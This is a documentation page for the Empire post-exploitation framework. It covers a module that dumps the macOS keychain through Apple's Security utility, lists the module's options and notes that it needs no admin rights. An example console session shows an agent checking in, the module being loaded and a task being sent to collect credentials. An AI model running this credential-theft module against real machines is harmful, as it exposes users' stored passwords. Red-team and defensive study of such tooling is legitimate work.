Sandbox-Keychain-Dump - Empire Module


This page contains detailed information about how to use the python/collection/osx/keychaindump_decrypt Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Sandbox-Keychain-Dump
Module: python/collection/osx/keychaindump_decrypt
Source code: empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml
MITRE ATT&CK: T1142
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The keychaindump_decrypt module uses Apple Security utility to dump the contents of the keychain. WARNING: Will prompt user for access to each key.On Newer versions of Sierra and High Sierra, this will also ask the user for their password for each key.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the keychaindump_decrypt module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the keychaindump_decrypt module:

Agent
Agent to execute module on.

Additional Module Options

This is a list of additional options that are supported by the keychaindump_decrypt module:

OutFile
File to output AppleScript to, otherwise displayed on the screen.

Keychaindump_decrypt Example Usage

Here's an example of how to use the keychaindump_decrypt module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/keychaindump_decrypt

 Author       @import-au                                                             
 Background   False                                                                  
 Description  Uses Apple Security utility to dump the contents of the keychain.      
              WARNING: Will prompt user for access to each key.On Newer versions of  
              Sierra and High Sierra, this will also ask the user for their password 
              for each key.                                                          
 Language     python                                                                 
 Name         python/collection/osx/keychaindump_decrypt                             
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  
 Techniques   http://attack.mitre.org/techniques/T1142                               


,Record Options---,----------,------------------------------------,
| Name    | Value | Required | Description                        |
|---------|-------|----------|------------------------------------|
| Agent   |       | True     | Agent to execute module on.        |
|---------|-------|----------|------------------------------------|
| OutFile |       | False    | File to output AppleScript to,     |
|         |       |          | otherwise displayed on the screen. |
'---------'-------'----------'------------------------------------'

(Empire: usemodule/python/collection/osx/keychaindump_decrypt) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/keychaindump_decrypt) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.